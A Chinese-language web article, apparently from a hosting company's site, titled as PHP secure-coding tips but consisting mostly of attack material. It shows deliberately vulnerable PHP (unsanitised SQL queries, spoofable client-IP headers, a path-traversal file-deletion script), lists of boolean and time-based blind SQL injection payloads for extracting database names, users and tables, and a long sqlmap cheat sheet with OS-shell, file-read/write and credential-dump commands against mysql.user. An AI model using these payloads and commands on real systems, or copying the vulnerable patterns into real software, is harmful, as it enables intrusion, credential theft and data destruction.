您好,登錄后才能下訂單哦!
這篇文章主要介紹了PHP安全編碼的技巧有哪些的相關知識,內容詳細易懂,操作簡單快捷,具有一定借鑒價值,相信大家閱讀完這篇PHP安全編碼的技巧有哪些文章都會有所收獲,下面我們一起來看看吧。
PHP 安全編碼總結筆記
SQL注入: 代碼中的 HTTP_X_FORWARDED_FOR 地址可以被偽造,而REMOTE_ADDR則相對更安全,有些應用程序會將對方IP地址帶入數據庫查詢是否存在,例如同一個IP每天只能注冊一個賬號等,如果目標代碼中使用的是 HTTP_X_FORWARDED_FOR 獲取的IP地址,那么攻擊者就可以通過修改HTTP包頭實現SQL注入攻擊。
<?php
function get_client_addr(){
if($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"],"unknown")){
$ip = $_SERVER["HTTP_CLIENT_IP"];
echo "HTTP_CLIENT_IP =" . $ip;
}else if($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
echo "HTTP_X_FORWARDED_FOR =" . $ip;
}else if($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){
$ip = $_SERVER["REMOTE_ADDR"];
echo "REMOTE_ADDR =" . $ip;
}else{
$ip = "unknown";
}
return $ip;
}
$addr = get_client_addr();
?>
SQL注入: 一種使用了過濾的代碼,接受的參數經過過濾,字符串會被過濾掉SQL注入的關鍵字,整數會被強制轉換為整數。
<?php
$var = date_default_timezone_get();
echo "當前時區: " . $var . "<br>";
date_default_timezone_set("Asia/Shanghai");
if(!get_magic_quotes_gpc()){
$var = waf($_GET['id']);
echo "過濾后的參數: " . $var;
}
function waf($array){
if(is_array($array)){
foreach ($array as $key => $value) {
$array [$key] = waf($value);
}
}else if(is_string($array)){
$array = addslashes($array);
#$array = str_ireplace("and", "fuck", $array);
$substr = array(
"and" => "fuck you !",
"where" => "fuck you !",
"union" => "fuck you !",
"select" => "fuck you !",
"order" => "fuck you !",
"update" => "fuck you !",
"sleep" => "fuck you !",
);
$array = str_ireplace(array_keys($substr), $substr,$array);
}else if(is_numeric($array)){
$array = intval($array);
}
return $array;
}
?>
盲注的使用
首先需要簡單修改上方的源代碼,去掉回顯框,然后修改以下代碼.
<!DOCTYPE html>
<html>
<head>
<meta charset="gbk">
<title>SQL 注入測試代碼</title>
</head>
<?php
$connect = mysqli_connect("localhost","root","123","lyshark");
if($connect)
{
$id = $_GET['id'];
if(isset($id))
{
$sql = "select * from users where id='$id' limit 0,1";
$query = mysqli_query($connect,$sql);
$row = mysqli_fetch_array($query);
if(!empty($row))
{
print("查詢完成了..");
}else
{
print("查詢失敗");
}
}
}
?>
<body>
<?php echo '<hr><b> 后端執行SQL語句: </b>' . $sql; ?>
</body>
</html>
猜數據庫名稱: 盲注也就是程序會返回兩種狀態,查詢成功與查詢失敗,我們需要自己構建判斷條件,常用語句如下.
index.php?id=1' and left(version(),1)=5 --+ // 返回正常,說明版本號是5
index.php?id=1' and (length(database()))=7 --+ // 返回正常,說明數據庫名字長度是7
index.php?id=1' and (left(database(),1))='l' --+ // 返回正常,說明數據庫第一位是l
index.php?id=1' and (left(database(),2))='ly' --+ // 返回正常,說明數據庫前兩位位是ly,以此類推
index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+ // 驗證第一位是否為l
index.php?id=1' and ord(mid((CAST(database() AS CHAR)),2,1))=121 --+ // 驗證第二位是否為y,以此類推
猜表名:如果網頁返回正常,則說明存在這個表,返回不正常說明不存在.
index.php?id=1' and (select count(*) from mysql.user) >=0 // 存在mysql.user表
index.php?id=1' and (select count(*) from lyshark) >=0 // 存在lyshark表
猜字段: 如果網頁返回正常,說明存在猜測的字段,不正常則需要繼續猜.
index.php?id=1' and (select count(id) from users) >=0 // 返回正常說明存在id字段
index.php?id=1' and (select count(name) from users) >=0 // 返回不正常不存在name字段
index.php?id=1' and (select count(*) from lyshark) >=3 #-- // 返回表中記錄數
用戶名猜測: 通過正則符號也可使完成多指定用戶的探測,其他函數用法相同.
index.php?id=1' and (length(user())) >=14 # // 猜測數據庫用戶名稱長度
index.php?id=1' and (select user() like 'root%') # // 猜測用戶名
index.php?id=1' and (select user() regexp '^[a-z]') # // 猜測開頭a-z
index.php?id=1' and (select user() regexp '^r') # // 第一位是r
index.php?id=1' and (select user() regexp '^ro') # // 第二位是o
index.php?id=1' and (select user() regexp '^root') # // 以此類推猜測前四位
延時注入: 通過sleep(5)延時的方式,我們同樣可以判斷是否存在注入點.
index.php?id=1' and sleep(5) #
index.php?id=1' and sleep(5) order by 3 # // 如果是3個字段,則會延時5秒
index.php?id=1' and select if(length(user())=0,sleep(3),1) # //如果user=0則延時3秒
index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1個字符=d則延時3秒
index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2個字符=v則延時3秒
◆sqlmap 命令◆
常用檢測命令:
sqlmap -u "./index.php?id=1" -v 3 # 顯示攻擊載荷
sqlmap -u "./index.php?id=1" --level=3 # 指定探測級別
sqlmap -u "./index.php?id=1" --privileges # 測試所有用戶權限
sqlmap -u "./index.php?id=1" --privileges root # 測試root用戶權限
sqlmap -u "./index.php?id=1" --all # 查詢所有數據庫
sqlmap -u "./index.php?id=1" --hostname # 查詢當前主機名
sqlmap -u "./index.php?id=1" --is-dba # 判斷root權限
sqlmap -u "./index.php?id=1" --users # 枚舉數據庫用戶
sqlmap -u "./index.php?id=1" --random-agent # 隨機User-Agent
sqlmap -u "./index.php?id=1" --output-dir="" # 自定義輸出目錄
sqlmap -u "./index.php?id=1" --file-read="" # 讀取文件
sqlmap -u "./index.php?id=1" --file-write="" # 寫入操作
sqlmap -u "./index.php?id=1" --os-cmd="net user" # 執行一條命令
sqlmap -u "./index.php?id=1" --os-shell # 交互執行命令
sqlmap -u "./index.php?id=1" --sql-query="" # 執行的SQL語句
sqlmap -u "./index.php?id=1" --cookie="" # 指定cookie
sqlmap -u "./index.php?id=1" --temper="" # 指定過濾腳本
sqlmap -u "./index.php?id=1" --dbs --delay 1 # 延時1秒后注入
sqlmap -u "./index.php?id=1" --dbs --safe-freq 3 # 延時3秒后注入
sqlmap -u "./index.php?id=1" --identify-waf # 測試是否有WAF
sqlmap -u "./index.php?id=1" --current-db # 查詢當前數據庫
sqlmap -u "./index.php?id=1" --current-user # 查詢當前主機名
sqlmap -u "./index.php?id=1" --users # 查詢所有用戶名
sqlmap -u "./index.php?id=1" --dbs # 列出所有數據庫
sqlmap -u "./index.php?id=1" --tables # 列出所有的表
sqlmap -u "./index.php?id=1" -D "mysql" --tables # 獲取mysql庫中的表
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # 獲取mysql.host表列名稱
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # 將mysql.host保存到本地
sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # 全部脫褲
sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump
Cookie注入: 當level>=2時,使用cookie注入,level >=3 使用User-agent/Referer注入.
sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #判斷注入點
sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜數據庫名
sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名稱
sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2 #猜字段
sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜內容
POST注入: 該方法通常是使用抓包工具抓取數據包,然后指定字段進行測試即可.
1.瀏覽器打開目標地址 http://www.xxx.com/index.php
2.配置burp代理(127.0.0.1:8080) 準備攔截請求
3.點擊login表單的submit按鈕,或者其他按鈕均可
4.這時候Burp會攔截到了我們的登錄POST請求
5.把這個post請求復制為txt,記錄下其中的 id=1&Submit=Submit
sqlmap -r post.txt -p id --dbs
Sqlmap -r post.txt -p id -D mysql --tables
Sqlmap -r post.txt -p id -D mysql -T user --columns
sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump
sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"
其他漏洞利用
任意文件刪除: 執行刪除語句http://php.com/?dir=.....////&file=a.txt 完成漏洞利用.
<?php
$dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', urldecode(trim($_GET['dir']))) : '';
$dir = str_replace("-", "/", $dir);
$file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : '';
$path = "./" . $dir . "/" . $file;
$path = str_replace(array("//"), array("/"), $path);
echo "當前路徑是: " . $path . "<br>";
if (file_exists($path)) {
if (unlink($path)) {
echo "刪除完成..";
} else {
echo "刪除失敗..";
}
}
?>
關于“PHP安全編碼的技巧有哪些”這篇文章的內容就介紹到這里,感謝各位的閱讀!相信大家對“PHP安全編碼的技巧有哪些”知識都有一定的了解,大家如果還想學習更多知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。